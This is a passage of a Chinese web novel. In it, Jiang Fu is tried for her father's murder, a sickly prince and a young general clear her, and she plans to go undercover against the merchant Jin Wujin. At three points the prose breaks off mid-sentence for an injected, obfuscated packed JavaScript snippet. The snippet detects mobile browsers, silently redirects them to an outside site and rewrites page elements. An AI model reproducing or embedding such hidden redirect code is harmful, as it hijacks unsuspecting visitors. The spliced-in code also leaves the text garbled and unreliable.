她收回目光,已经不再像刚下狱时一样忐忑,毕竟事情最烂也就是现在这样。 陈箜尼坐上主位,开堂。 “七月廿一,我县主簿蒋文行在家中无端被害丧命,致命伤为利器割破腹部,刀痕五寸,失血过多而死,死后尸体有焚烧痕迹。多处证据指向蒋文行之女蒋芙指使家仆弑父。台下蒋芙,你可认罪?” 蒋芙字正腔圆:“不认。” 陈箜尼并不意外她的态度,朝侧旁道:“来人,上人证物证。” 几个小吏从门后走出,将张闵与月桃押送到人前,末尾跟着一名抱着书册的仵作。 沈听南的父亲,洛县县丞陪同陈箜尼审问。 “蒋芙,这名会武的少年是蒋家专门护卫你的家仆,你可认他?” “有何不认?” 沈父转身从托盘里拿下一把剑,剑出鞘,闪过一条刺眼的白光。 “此乃你家仆随身佩戴的兵器,剑刃中空,削肉如泥,是把举世难得的宝剑,你可认?” 蒋芙侧头问张闵:“是你的剑吗?” 张闵“嗯”了声。 蒋芙道:“我认。” “好。”沈父持着那把剑,回头向大家展示。 他把剑刺进一块事先准备好的鲜肉里。 “各位看好了,这块肉在剑本身刺穿的长口以外,还连接着较小的碎肉,是这把剑独有的痕迹。” 他转身,给仵作一个眼神。 仵作上前,朝陈箜尼行礼:“大人,死者身上的致命伤痕,和沈大人方才演示的一般。一道狭长的割痕露了内脏,一旁坠有肉条,我可以十年验尸经历保证,凶器就是这把剑。” 沈父问:“如此,蒋芙,指使家仆杀害生父一案,你认也不认?” 蒋芙目光锐利:“不认。这剑是凶器,和我的护卫有什么关系?他们是粘在一起,谁都分不开了吗?不是吧?甚至你把它当证据带来的时候,它都不是和我的家仆一起,为什么不能是有人故意拿他的剑杀人栽赃?” “好。那这个,你又要如何解释?” 沈父拿起另一件证物,是一块碎了一半的玉坠。 张闵目光幽深,看着那个坠子。 “我找你家原来的仆人确认过,这是家仆张闵随身携带的珍视之物,从不离身。而这个东西,是在你死去的父亲手里发现的,剑痕,玉坠,并非孤证,两者俱在,你还要如何抵赖?” 蒋芙道:“我并非抵赖,还是那个思路。这两件东西虽与张闵息息相关,但都是死物,都可以从他身上取下来,摆在命案现场。除非有人目睹,否则你说人是张闵杀的,太没有说服力!” “而且,我能否问,你们是在哪里抓到张闵的?” 沈父抬头看上座的陈箜尼,得到对方点头后,对蒋芙道:“城西荒庙。” “他当时是什么状态?” “昏迷。” 蒋芙道:“如此还不明显吗?显然是有人故意将张闵打晕,把他的玉坠和剑拿走,伪造他杀人的证据。他不爱说话,但他不傻,要真的是他杀人,怎么可能把自己的剑和贴身玉坠都留在现场,是生怕别人想不到是他做的吗?” 沈父道:“你若如此狡辩,那我也可以说,是他故意把贴身物品留在现场!目的可能是为奴弑主,心中愧疚,难以自处,却无法违背你的命令,只好留有证物,向世人揭穿你。毕竟他与死者无冤无仇,而你才是与死者有仇怨纠葛的人。” “胡说,那是我爹,我跟他有什么仇怨?” “自然是他要把你……” 沈父意识到不对,堪堪将话停住。 蒋芙眼中闪过冷意。 差一点,就能把金员外拉出来。到底浸淫官场的老油条,关键时候有些机灵在。 陈箜尼掩饰这个空场:“女仆月桃,你来说说,在你看来,这场案子是怎么回事?” “……是、是!” 月桃走上前来行礼:“回……大人的话,我认为,娘子是不满意阿郎给她许的亲事,阻拦了她的心意,一时冲动,才指使张闵对阿郎做出那种事的……” “仔细说,声音大些。” “是!本来,娘子的亲事已经定好了,是和金员外家的小儿子。但娘子心有所属,无论如何也不愿意,还在人前追求那位郎君,大家都知道的……金员外也听说了这码事,不愿强求,就把亲事退了,但娘子却因为这件事恨起了阿郎!出事的前天晚上,他们吵得很厉害,邻居们都听见了。娘子喊,除非她死,不然不会放过阿郎。甚至还说,就算死了,也要化为厉鬼,回来索阿郎的命……” 月桃害怕得哭了起来:“我不明白,那明明是娘子的父亲啊……” 蒋芙想她可真能装。 “说了这么多,也不过是你弄虚作假的一面之词!我爹给我找的亲事的确是金员外家,但不是他的小儿子,而是金员外自己,你说了前因,却把我娘的死抹去!我娘为了让我爹回心转意,不惜撞柱而死,那个时候,心地善良的你,和耳聪目明的邻居们怎么都没发现了?她想用人命让我爹清醒过来,哪怕他不清醒,也能用丧期拦一拦,可是我爹连丧礼都没打算给我娘办!他!” 陈箜尼打断:“好了,那些无关紧要的先不谈。出事前夕,有许多人证都能证明当时你家里发生了恶劣争执。” “无关紧要?你说什么无关紧要?我爹的命是命,我娘的就不是?你——啊!” 蒋芙被小吏踹了一脚,直挺挺跪了下去,疼出一头的汗。 他传了邻居严氏。 “确有此事,出事的前一天,蒋娘子和他爹在家里喊什么你死我活的不孝的话。当天晚上有浓烟传来,闹出很大的动静,应该是当天就纵过一次火。我从家里出来看情况,见蒋大人抱着一堆财物跑在街上,第二天,他就死在家里了。” 他又传了郡公府的小厮。 “那天我来接蒋娘子的时候,仔细想是有些古怪。我从头到尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282517|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没见过那位张郎君,而且当时,蒋家的院子很破败,有烟焦味。” 陈箜尼道:“所以,在案发的前一晚,七月二十,你就尝试过杀死者一次,但被他侥幸逃脱,燃起一半的火不得不浇灭。第二天你去了郡公府为公女做伴读,吩咐家仆张闵蹲守回家的蒋父,在后院杀人焚尸。” “你可认罪?” 蒋芙被打,怒火正盛:“我不认!这种编出来的真相,你要我怎么认?” 陈箜尼皱眉:“蒋芙,如今可是人证物证都在眼前,你还说编造不认,你还想怎么狡辩?” “我没狡辩!事情从一开始,就被这些人歪曲了,陈大人,你自说自话,是非不分,难道也是金员外的人吗?” “大胆蒋芙!弑父不认,还在这里诬赖朝廷命官!来人,直接送她下狱!按律法处置!” 话令一下,蒋芙便被官吏从地上拉了起来。 张闵紧盯着她,时刻准备动手。 一道声音在闹哄哄的堂前响起。 “住手!” 说话者病弱,但语气天然威严,不容置疑,让堂上审讯暂停一瞬。 陈箜尼黑脸:“是谁在……” 文王魏璟被下人搀扶着从人群中央走入公堂,脸色苍白,五官清俊。陪审的百姓没认出他,陈箜尼却认得。他大惊失色,思忖这位亲王为何会突然出现在洛城。 天子根基尚浅,尚无子嗣,手足唯有文王与如因公主两位,其在长安地位可见一斑。陈箜尼不敢怠慢,下堂迎接:“微臣拜见文王殿下。” 魏璟被下人扶着坐到主位,没有免他们的礼节,他们只好一直半跪着行礼。 百姓和属下都在场,陈箜尼面子挂不住,又请了遍安。 “微臣洛县县令陈箜尼,拜见文王殿下,殿下万安。” “起来吧。”魏璟咳了两声,抬眼。 蒋芙恍惚以为是魏如因换了男装坐在那里,看来他们皇室几兄妹都长这一副样子。 “哪位是蒋娘子?” 陈箜尼眉毛一跳,反应过来文王来意,怕是要插手这桩案子。 可为什么? “殿下,案子已了结,还是容下官尽快收尾,莫要脏了殿下的耳朵。” “案子没有了结,蒋娘子有冤情,我来亲审。” “殿下,这……” “住口!大胆陈箜尼,敢公然冒犯殿下!还不跪下跟殿下请罪?” “……是,殿下恕罪!” 魏璟没有理会,视线落在乱糟糟的官吏之中。他对沈父颔首致意,与他身旁楚楚可怜的女子轻声道:“蒋娘子,地上凉,找把椅子坐吧。” 楚楚可怜的女子震惊回看他。 他指挥手下:“去为蒋娘子搬一把椅子,要带软垫的。” 说完便咳嗽一阵,人愈发清弱。 椅子送到女子面前,女子惊疑不定,不知这是什么情况。 “蒋娘子请坐。” “我不是蒋娘子!我!我是她的家仆月桃……” 堂下不约而同陷入寂静,纷纷瞥文王脸色。 魏璟懵了一瞬,淡然:“那谁是蒋娘子?” 蒋芙忍着无语,从地上跪着的人群里站出来:“蒋芙,谢殿下。” 15. 第 15 章 变故不出一刻,县衙简朴的公堂犹如换血一般。 文王改坐主位,其下侍卫奴仆森森站守。官署人员彼此眼神复杂,不停擦汗。 陈箜尼作为县令,不得不顶着莫大压力出头:“殿下,这案子……” 魏璟放下卷宗,眉眼倦怠:“这案子重新查。” “殿下,如今已是彻查过的结果,证据确凿,实在没有重新查的必要。” 魏璟道:“那就再说一遍你查的结果。” 陈箜尼顿了顿,道:“依下官所查,是蒋芙不满自己的亲事,与父亲结怨,指使家仆张闵两次弑父,第二次成功。将蒋文行杀死后,他们在蒋家后院焚尸,凶器与物证都在这里。” 说着,他往后退,小吏知会他的意思,将证物呈上。 魏璟扫了一眼,看向蒋芙时,眼中的不耐也变得温润:“蒋娘子,他说的话是事实吗?” 蒋芙身为整个公堂唯二坐着讲话的人,说话充满了底气。 “殿下,他在污蔑我,我根本没杀蒋文行。如果这些人没去郡公府抓我,我连我爹死了都不知道。” “这些都是假证吗?” 蒋芙道:“这些证物是我家仆所有不错,但他当时被人弄昏,我也进监狱以后,他才醒过来,根本没有作案的能力,这显然是有人故意栽赃我!” 陈箜尼呵道:“蒋芙,你说话要讲究证据的!” 蒋芙毫不示弱:“那你有证据证明我在说谎吗?” “……” 魏璟吩咐手下:“去查。” 侍卫才动了脚,便见白明旭一身戎装大步走进堂前,向魏璟行礼。 “洛城将军白明旭,拜见文王殿下!” 魏璟道:“白小郎,你这是做什么?” “回殿下,我亦是为蒋娘子一案来此。蒋娘子是郡公公女的伴读,两人情谊甚笃,公女不忍见蒋娘子蒙冤,昨日特拜托我代为查明真相。” “你可查出了?” “回殿下,已查明了。” 白明旭站起身,面向蒋芙,拱手道:“抱歉,可能要揭起娘子的伤心事。” 在公共场合,白明旭要比私下正经很多,也不怎么笑。 蒋芙起身行礼:“劳烦大人为我洗去冤屈。” 白明旭颔首:“事情要从今年六月初七说起。六月初七,蒋娘子及笄,到了说亲之年。” “蒋文行乃洛县主簿,官职不高,在官场里无甚声望,为人胆小懦弱,没人愿与他结交。亲事久久不成,他备感郁闷,去酒楼喝酒,有歹人趁虚而入,言行引诱。” “‘若士族之中没有合适的人家,不如退之而求其次,将女儿许给商户,商户家境富裕,总比嫁给清贫寒门过苦日子要强。’蒋文行把那人的话听了进去,但又因为面子迟疑。他寒窗苦读,好不容易做了官,要是把唯一的女儿许配给商户,沾了姻亲,之前的一切努力就算白做。” “那人便说:‘这好办,找一个有官在身,实为商户的人家便好,在本朝买官的商户不少,也就是那些员外郎们。’蒋文行有所动容,那人一副不强求的态度,说完便称醉离开。” “蒋文行回去以后,想了几天,决定联系那个人帮忙引荐。” 陈箜尼眉头紧锁:“白小将军,这里是官衙,不是你编故事的地方!” 白明旭没把这小小的县令放在眼里,给副官一个眼神,便有血淋淋的人被拖了上来。 “陈大人,你凑近了看看,这人是不是你县里的博士关信?” 陈箜尼被这股浓重的血腥味惊到,迟疑着没敢上前。 白明旭踹了关信一脚,将他踩在陈箜尼面前:“仔细看啊,陈大人,你不是很喜欢质疑吗?” 陈箜尼吓得脸色煞白,躲也躲不开,只好斗胆去看:“……是、是关信博士。” “好。关信,到了你该说话的时候了,把你之前招的事当着各位大人再说一遍吧。本将军说出口的话,被人认为是在编故事呢。” 关信血肉模糊的脸抽动,声音嘶哑:“是……” “我……这几年得了机缘,一直都在替金员外物色年轻女子为妾室。每找到一个,就能在金员外家里领到赏赐,那些赏赐,比我一年收的俸禄还要多。得了一次,就想有第二次,最后无法收手。我听说蒋文行有适龄的女儿待嫁,就动心去找他,用了一些手段将他介绍给金员外。人许成了,我领了赏赐,后面的事全不知情,将军,饶小人一命吧……” 魏璟按住册卷宗:“你说死者要将蒋娘子许配的人是金员外,但为什么卷宗里记的是许给金员外第五子金彻?你在撒谎?还是……” 他目光将台下每人都盯了一眼,月桃不住低头,极力缩小存在感。 关信哭道:“殿下!小的没有说谎!小的已经豁出被灭口的风险把这背后的勾当说出来了,请殿下一定要相信啊!不然小的就是死了,也不敢瞑目!” 陈箜尼已经失去了最开始的气焰,因为他看出来了,白明旭这种年轻的武夫并不吝啬用刑。 “你有证据证明自己说的是真的吗?” “有!有!我能默出之前被我介绍去金府的女子名单!大人可以派人去女子家里人面前核实!” “……” 魏璟差人去查,将关信带了下去。 白明旭道:“敢问陈大人,我能继续说下去了吗?” 陈箜尼沉默行礼。 白明旭于是继续:“亲事结下以后,蒋文行日夜笙歌,与那个比他年纪还大的未来女婿联络感情。在老女婿那里,他获得了一笔巨额钱财,和升官的承诺。与他同桌吃饭三人为证,这是证词。” 魏璟的侍卫将证词接了过去。 “但,世间并非所有父母,都能做到蒋文行那般。蒋文行之妻袁氏,不忍丈夫卖女行为,撞柱而亡,就在死者死前六天,这些是蒋家旧日家奴的证词。袁氏死后,蒋文行将他们都赶走,我是在半路拦下的。” 陈箜尼还是没忍住:“将军,这一切和蒋芙买凶弑父有什么关系吗?” “这是被你一带而过的前因,别着急,马上就是你最关心的部分了。” 白明旭道:“蒋文行瞒丧不报,蒋娘子被公女看中,请为伴读,便也无法遵礼守孝。案发当天,蒋娘子在郡公府同叶女官学习。有人看不惯她过好日子,暗中筹划让她付出违约的代价。” “贱婢月桃,事到如今,你还不招吗?你究竟是谁的人?为什么凭空出现,成为了能佐证真相的蒋家奴才?” 月桃跪伏在地,忽然一抖。 白明旭眼疾手快蹲到她身前,掰开她的嘴:“拿块布塞进去,她要咬舌自尽!” 副官紧急处理,将月桃手脚绑在一起,以防她再有什么动作。 白明旭吩咐:“拖下去,用刑,打到她松口为止。” “是。” 蒋芙深深看着他们。 白明旭发觉她的目光,对她眨了眨眼,轻松调皮一如往常,但转过头就变回了那副面孔。 “殿下,杀人者并非蒋娘子,而是那个居心叵测的金无尽金员外。他设计陷害蒋娘子,迷晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282518|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋娘子的护卫张郎君,夺走贴身物品与兵器,伪造杀人真相!这是在金府排水处找到的迷药残渣,请殿下过目!” “金无尽为一己私怨,不顾人命,藐视皇权,还请殿下准许我去彻查金家,以免之后还出现这种情况,给蒋娘子和整个洛城的百姓一个交代!” 魏璟远远看了那包药一眼,便撇头道:“既已查清事实,接下来如何做,就请白小郎按齐法办事。” “遵命!” 白明旭后退,他的人也跟着后撤。 有官吏从外面跑入禀告:“大人!衙门外有人自首!说是来自金府的!为蒋主簿之死来认罪!” - 事情闹到最后,是金府管家出面将罪责揽在一人身上。 蒋芙脱罪,被文王带到驿站,眼下侍女正为她膝盖上药。 只是磕了地板一下,她不认为有什么照料的必要,但文王很坚持,不仅给她找了大夫,还给她准备了汤浴和午饭。 一切收拾妥当,侍女带她去拜见文王。 蒋芙问:“公女也在吗?” 侍女疑惑:“公女?娘子是说洛郡公府那位吗?她自然好好在府里待着,怎会在殿下这边。” 蒋芙叹了口气。 不论真相如何,她平安无事。 案子到了收尾的时候,骆沁怕是不会再来见她。 这样也好,她是公女,已经为相识几天的情分做到了极致,给她搬来了这么多救兵。蒋芙见她也只是道谢,公女怎会缺她的道谢,不见便不见吧。 侍女站在文王门前:“殿下,蒋娘子来了。” 屋内传来虚弱的咳嗽声。 “进。” 侍女推开门,往后让了几步,等蒋芙走进去以后,再将门合上,站在门外看守。 她身姿修长,举止利落,也是练过武的。 蒋芙寻思自己要不要也学几招防身,走进屋内。文王白衫松散靠在桌上,看她:“蒋娘子来了,可休息好了?” 蒋芙虽然感激这位救她一命的贵人,但这种不知来意的私下召见,让她心存警惕。 “多谢殿下招待,已休息好了。” “那就好,不要生病,生病很难受。” 魏璟朝他侧旁的椅子抬了抬下巴:“坐,蒋娘子,站着干什么?” 蒋芙心情复杂,试探着坐了下去。 “我听闻,娘子与沈娘子是从小一起长大的手帕交,娘子看着倒比沈娘子显小,如今几岁了?你如今孤身一人,往后可有去长安的打算?” 蒋芙意外他和自己提起沈听南,老实回话:“十五了,没想过去长安。” “长安乃天子之都,天下人人都想去,你不想吗?” 没等蒋芙回答,他便道:“娘子若想,可与我说。你与沈娘子情同姐妹,我心系沈娘子,愿将她的姐妹,视作我的姐妹。” “蒋娘子若来了长安,说不定,沈娘子也会来长安。” 蒋芙听他近乎自言自语的声音,微怔一下:“殿下今日相助,是为了听南?” “是啊。”他毫不遮掩,“我牵挂她,拖着病躯来了洛城。恰逢你遭人陷害,她写信向我求助,我认为是缘分。” 蒋芙一时不知怎么回话。 竟然是沈听南在救她? 沈听南救她? 她? 她紧攥着膝上的裙摆,听到文王说。 “我此生若能有幸与她结缘,定会把蒋娘子视若己出。” 蒋芙:“……” 她诧异抬头:“啊?” 16. 第 16 章 蒋芙眼中飞速晃过惊愕、嫌弃、顾虑等复杂的情绪。 最后被不悦充盈,低头掩饰。 不过帮了个对他来说举手之劳的忙,就想替沈听南出头做她爹娘,他想得倒美,神经病。 没得到想要的反应,魏璟兴致缺缺:“玩笑话而已,不好笑吗?看来我真的没有这方面的天赋。” 蒋芙心里厌恶,面上恭敬道:“殿下,时候不早了,我不便在此叨扰,就先行告退。” 魏璟扬了下眉毛:“不等等沈娘子?她之后会来。” 蒋芙道:“不了,我与听南想见面随时可见,不敢打扰殿下。” 她的确有话和沈听南说,但不该在他面前。沈听南那人矫揉造作,最擅长在人前激怒她,给自己长脸,有第三个人在场跟她说不明白什么。 魏璟托脸瞧她,片刻,断定道:“你不想见她?” “怎会……” 他将脸垂下:“她可是为你求了并不属意的我。蒋娘子,有些事好好想想,人生短暂,别给自己留下无法挽回的遗憾。” 蒋芙走出驿站,夏末的暑气闷哄哄冲了上来。许久没这样毫无遮挡站在太阳下面,烫热的同时,烦闷更甚。 脑海里还印刻文王那张瘦削清俊的脸。蒋芙边走,边在宽大的袖口比中指。 平生最讨厌管闲事的人,她和沈听南怎么样关他啥事。 驿站之外,张闵也换了一身干净的衣服,和白明旭一同站在马车前说话。他个子高挑,在人群中格外突出,相貌无甚出众,却端正之余带了清爽的淡然,路过的女子不论年纪,都多看他一眼。 蒋芙隔着一条街看他,新的烦恼挤进了不太宽裕的思绪。 狱中不论,临危之际,仇人都能并肩作战。 现在一切恢复如常,她就想起上次他们之间单方面吵了架,她把话说得很难听。 然后——在牢房里,她以为他为了自己杀蒋文行,心软地说了一堆羞耻的……! 对街聊天似乎告一段落,张闵转头,精准看往蒋芙的方向,仿佛早就发现了她。 蒋芙飞快背身,有驿使在附近分信。 她问:“你们是信使吗?” 两个驿使对视一眼,皮肤黑些的回答:“是,娘子有事?” “我有信想寄到光州,不知一封信要多少钱?” 驿使笑了一下:“小娘子,有信送可以找过往的商户寄,我们是给官府办事的。” “哦……打扰你们当差了。” “无事。”两个驿使笑呵呵的看她,转瞬之间,表情严肃起来。 “白将军。” 白明旭跟他们摆手,低头凑到蒋芙侧脸边:“蒋娘子,你有信要寄?” 蒋芙点头:“我现在家里没人了,又不能继续给公女做伴读,想写信给光州的舅舅问能不能收留。” 白明旭啧啧两声:“好可怜的小娘子啊,有些人可真没人性,事错不在你,凭什么做主拆散你和沁儿,白费你喜欢他一回。” 蒋芙没把他的话放在心上,一笑而过。 白明旭张手。 蒋芙疑惑看他。 他手指挨个动了动:“信在哪?我可以让我手下的人帮娘子传过去,刚好他告假回光州看老娘。” 蒋芙视线凝滞在他明净笑着的脸上。 白明旭干脆把动着的手指晃到她眼前:“蒋娘子,怎么了?这么看我?突然发现我比公子岢更好看,想移情别恋?” 蒋芙真心实意:“我在想你人真好,谢谢。” 白明旭一愣,半晌,错开目光抓了抓后颈。 哪有恰好去光州看老娘的下属,不过是有心想要帮忙,又不想她有负担多想。 在这个世界里长到现在,她还是第一次遇见他这样心地善良的男人。众所周知,男权社会的男人不论年纪,都各种自以为是、虚伪和装逼。 张闵不是。 他也不是。 “信我还没写好,写好了会让张闵送到你那里。” “好……” 蒋芙仰头看张闵一眼,还是有些不自然:“我说错了,该问问你的,你以后还跟我吗?” 张闵将头转向一边,似乎又因为什么惹到他,又或者上次的事还没跟她消气。 “跟。” 人不走,蒋芙松了口气,面上不显:“不走就给我好好干,知道吗?” 张闵点头。 如此就算破冰,蒋芙整个人肉眼可见松弛很多。她问白明旭:“大人,那个马车是给我坐的吗?” 白明旭找回了从容:“正是,娘子请上车。” 蒋芙行礼道谢,爬上马车,紧接着白明旭和张闵都坐了上来,好在马车足够宽敞,还有活动的地方。 白明旭推了点心盘过来,蒋芙便也不客气,自顾自吃了起来。 “蒋娘子,此次分别,以后怕是不能常见到了。” 蒋芙立即道:“你放心,我不是那种纠缠人的人,你和公子帮了我,我虽然感激,但也不会到以身相许那个地步,让公子别害怕。” 白明旭被她逗笑,见过几面,他已然看出她对骆岢并不是像她表现出的那样痴迷。个中缘由如今也都想通,无非是事急从权的拒婚。 想到这里,他道:“此番被金无尽用一个管家搪塞过去,没有将他下狱,着实可惜。” “他家事古怪,年年有妾室暴毙而亡,竟还有暗线为他物色新的少女。我想继续查,但娘子猜怎么着,短短一夜的功夫,郡公、郡守、刺史,乃至长安的高官势力,都派人让我不要轻举妄动,息事宁人。” 他与蒋芙对视,少男无畏野性的黑瞳清亮无比。 “之前不知道也就算了,如今撞到眼皮底下,娘子觉得我该不该管?” 蒋芙毫不犹豫:“管。” 白明旭:“敢问原因?” 蒋芙吃完最后一口糕点,拍了拍手:“他先害我,跟我犯贱,我岂能轻饶他?” 白明旭笑出声来。 他转头对张闵笑,张闵面无表情,将头转到墙壁的一侧。 白明旭:“……?” 蒋芙道:“那个金员外,金无尽,似乎真的没那么简单。” 白明旭道:“的确,我上一次被那么多人递口信来,还是我爹死在氐族前线。没想到这次的案子也能惊动那么多人。” 他很平常说了父亲去世的事,这似乎也为他年纪尚浅就能担任洛城将军做了解释。 蒋芙道:“不仅如此。” 她拍了张闵的肩膀:“他功夫很好的,能再不知不觉间把他迷晕,还抢了东西走,可见金无尽那边是卧虎藏龙。” 白明旭肯定这一点:“张郎君身手不俗,在我之上。” “不把那个老东西扳倒,还不知他要在暗处作祟到什么时候。”蒋芙想起了什么,“你们在公堂上对峙的那些证据和证词都是真的吗?” 白明旭道:“证词是真的,证据是伪造的。” 蒋芙一针见血:“那些推论是公子教你说的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282519|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白明旭惊到后仰:“神了,你怎么什么都知道?” 蒋芙道:“我不是喜欢他吗?我就是知道。” 她当时看着白明旭与陈箜尼一字一句相持的作风就觉得眼熟,熟悉的冠冕堂皇,用道义吓唬人,要不就是白明旭与他同流合污,要不就是骆岢一字一句教白明旭说出来的。黎明到审讯两三个时辰,他们就算再手眼通天,也不可能那么容易就找到证据,伪造证据都要加急赶出来。 如此看来,骆岢倒是遵守了诺言,全力救她。 蒋芙道:“换个思路想,金无尽让管家代罪,或许也是跟你们退了一步。真要继续较真下去,伪造的证据一定会被他们推翻。” 白明旭道:“是,所以公子也劝我不要查下去。” 蒋芙问:“你查吗?” 白明旭道:“娘子要查吗?娘子怕不怕事不成,金无尽反咬一口再将娘子逮捕进狱?” 蒋芙道:“不怕,到那个时候让张闵带我逃。” 她这话说得笃定,像是全部的信任都交托给了那个人。 白明旭看了张闵一眼,心中思绪翻涌而过,再抬眼,蒋芙已经跃跃欲试起来。 “老东西身上一定有不少人命,最古怪的就是他喜欢纳年轻女子做妾的事。你调查这件事如果有不方便的地方,就来找我,我撒谎混进去帮你调查!” 白明旭笑道:“暂且不劳娘子冒险。” 三天之后,蒋芙被白明旭请到私院,商量潜入金府调查的事。 “我用了很多手段,妇兵都没能混进去,金无尽似乎早有防备,习武的女子一律都拦在外面不放。我身边再没其他合适的年轻女子,又不能用无辜的百姓……” 蒋芙换上色彩鲜艳但质感不佳、虚张声势的衣裙,清秀的脸上化了妆。 “不用解释,我会按照安排好的混进去。” 她左右看:“我的‘姐姐’在哪?” 蒋芙此次行动,扮演的是从长安逃出来躲仇家的姐妹花里的痴傻妹妹。因为着急找庇护,又听到蒋氏一案中金员外有好女色嫌疑,姐姐冒死带着傻妹妹自荐。 实行这个方案,需要一个能言善辩的姐姐,和一个心理素质绝佳、能不动声色搜查线索的妹妹。 为了更好配合,蒋芙需要和那个“姐姐”提前接触一下,培养默契。 “娘子,唇角……” “嗯?” 白明旭俯身,戴着扳指的拇指指腹蹭了一下她的嘴唇。 “口脂涂到外面了,现在好了,再抿抿。” 蒋芙无奈:“我故意的,哪有傻子化妆化那么好的?你都给擦掉了……” 不知哪传来一声轻咳打断了他们。 蒋芙往声源处一瞥,看见一个高挑的美人。 眉如远山,眸若桃花,也上了妆,和她一样涂了劣质的口脂,衣着艳俗。但即便如此,她也如全然盛开的芍药般美得坦然。 又是一个典型的沈听南式美人,蒋芙看过便看过,没生出什么好感。 这个面相的人她已经有了经验,一个比一个能装,和她死不对付。 身旁白明旭激动起来,跳到美人身边仔细端详,一脸幸灾乐祸。 他看左脸,美人便往右转头。 他看右脸,美人便往左转头,最后忍无可忍:“白明旭。” 蒋芙听她声音耳熟,仔细回想时,听白明旭不以为然:“不看了不看了,我举世无双的大公子,你生气什么啊。” 蒋芙倏地定住。 17. 第 17 章 静静望着男扮女装的骆岢,蒋芙的眼睛宛若夜河般流淌无波,里面没有嘲讽,没有诧异,也没有惊艳。 她要是和白明旭一般笑他,他还有为自己辩解的余地。如此一言不发,将所有缘由都封印在了滑稽的表象之下,让他感到无解的憋闷。 场面寂静,骆岢兀自处于难堪之中。 白明旭察觉气氛僵硬,停止开骆岢玩笑,讪讪摸下鼻子。 “咳,那个蒋娘子,还是那个原因。除了你,我一时找不出其他合适的人选,只能拜托公子扮作女子,与你协助办案……若有难处,我再寻……” 蒋芙道:“没有难处,办案要紧。” 她看向骆岢:“公子若有难处,我亦可退出。只要能查处金无尽,为我娘报仇,让我如何我都没有怨言。” 话音落下,骆岢与白明旭均是一默。 蒋芙比他们要小两三岁,过了这个案子便彻底孑然一身,无依无靠。才经变故,却能如芦苇般坚韧起来,为母报仇,无论谁来看,都要心怀钦佩。 骆岢低声道:“我亦无难处。” 白明旭摸鼻子看了眼窗外:“既如此,天色不早,我这就秘密送你二人出城。之后的事不必有后顾之忧,我有一队精兵,张郎君也在,他们在暗中相护,一旦情况异常,可保你们性命无虞。” 事不宜迟,蒋芙与骆岢坐上预先准备好的马车。白明旭在私院后门目送他们,直到他们被树丛挡住,在叶片缝隙里化为一个小点,才动了动,往院里走。 蒋芙在车厢里把计划从头到尾考虑了一遍。 “到时候你负责套话,套出不对的地方,我冲过去查。” 骆岢:“嗯。” “做戏给人看的时候,我可能会跟‘姐姐’有一些亲密举动,你讨厌也忍着点,别露陷。” “会讨厌的人是蒋娘子才对。” 蒋芙无语:“我说公子,你不讨厌我,我能讨厌你?我有病?” 骆岢风姿绰约地理了理衣袖,嘴角勾了勾,却半点笑意也无。 “我说的话你听进去没有?” “嗯。” “你到里边再给我整这死样子试试!” “……”他嘴角平了。 蒋芙平复呼吸。 “你们安排好没有?如果那个老色鬼让你侍奉怎么办?” 保守的古代人谈那啥色变,垂着的眼睛陡然瞪起,愠怒道:“不劳娘子操心!” 蒋芙白了他一眼:“我就是犯贱,问你干什么。” 她别着头,指他脖颈:“那你喉结怎么办?不掩饰吗?女子没办法长那么大吧?” “还是这个也不用我操心?” “……” 骆岢好半天不说话,蒋芙不耐转向他,就见他一脸空白的样子。 她笑了:“怎么了,我的大公子?没发现男人和女人的区别除了胸,还有其他地方?” 骆岢落在膝上的手攥了攥:“……下流!” 他双耳赤红,脸上也透过细腻的粉,显然羞愤到极致。 蒋芙没兴致逗他,掀开窗帘:“张闵,你能把他喉结打回去吗?” 马车前方策马的张闵隔了老远,却能听见她的话,放慢速度,将马交到车夫手里。 他进了车厢,抬拳:“我试试。” 骆岢:“……” 他顾不上呵斥张闵随意钻进车厢的行为,往后挪了挪,慌乱道:“不可!颈乃脆弱之处,他若下拳,我必死无疑!” 两个疯子! 蒋芙往旁边让出地方,让张闵挨着她坐下。 她从张闵袖中抽出一方手帕,样式看上去是她的。她在把张闵当作随身包袱使用。 “那你把这个缠上,如果有人问,你就说受伤了。” 骆岢迎着两人相似清澈的眼神,觉得自己快要透不过气来。 “受伤便有是非,且不说受的什么伤,若是有人起了验证之意拆下手帕,顷刻之间便要穿帮,此招不可行。” 蒋芙想了想,又抽出身侧张闵的剑。 “划一道,就说是我干的。” 骆岢捂住颈部,后撤到车壁:“划一道遮掩不住,且你扮作痴傻之人,怎能有剑?” 这也不行,那也不行,蒋芙来了脾气:“那怎么办?你怎么这么多事?” 